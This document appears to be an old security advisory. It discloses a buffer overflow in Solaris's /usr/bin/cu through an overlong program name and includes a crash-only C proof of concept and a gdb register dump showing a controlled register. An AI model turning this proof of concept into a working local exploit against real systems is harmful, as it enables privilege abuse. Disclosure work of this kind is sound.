Description

The /usr/bin/cu command contains a buffer overflow, the problem occurs
when
it copy his own name ( argv[0] ) to an internal variable without
checking
out its lenght and this causes the overflow.

Vulnerable Versions

Sun Solaris 2.4
Sun Solaris 2.5
Sun Solaris 2.5.1
Sun Solaris 2.6
Sun Solaris 2.7

(Dont know about Solaris 2.8)

Technical Description

#include <stdio.h>

void main(int argc,char **argv)
{
char *buf;

buf = (char *) malloc(atoi(argv[1])*sizeof(char));
memset(buf,0x41,atoi(argv[1])-1);
buf[atoi(argv[1])-1]=0;
execl("/usr/bin/cu",buf,(char *)0);
}

$ uname -a
SunOS tomy 5.5.1 Generic_103640-34 sun4m sparc SUNW,SPARCstation-5

$ ./cu-demo 4000
Segmentation Fault (core dumped)

$ gdb ./cu-demo --core=core

GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
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welcome to change it and/or distribute copies of it under certain
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Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "sparc-sun-solaris2.5.1"...
warning: core file may not match specified executable file.
Core was generated by
`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation Fault.
#0 0xef62901c in ?? ()
(gdb) info registers
g0 0x0 0
g1 0xef628d24 -278754012
g2 0x0 0
g3 0x0 0
g4 0x0 0
g5 0x0 0
g6 0x0 0
g7 0x0 0
o0 0x137a4 79780
o1 0xef792a88 -277271928
o2 0x0 0
o3 0x0 0
o4 0x0 0
o5 0xef792a88 -277271928
sp 0xefffecb0 -268440400
o7 0x31b48 203592
l0 0x7efefeff 2130640639
l1 0x81010100 -2130640640
l2 0xff000000 -16777216
l3 0xff0000 16711680
l4 0xff00 65280
l5 0x81010100 -2130640640
l6 0x7 7
l7 0xef7927d4 -277272620
i0 0x39000 233472
i1 0xeffffec4 -268435772
i2 0x38088 229512
i3 0x41414141 1094795585
i4 0x2f 47
i5 0x0 0
fp 0xefffecf0 -268440336
i7 0x137a4 79780
y 0x0 0
psr 0x4400086 71303302
wim 0x0 0
tbr 0x0 0
pc 0xef62901c -278753252
npc 0xef628ffc -278753284
fpsr 0x0 0
cpsr 0x0 0

Pablo Sor
psorafip.gov.ar

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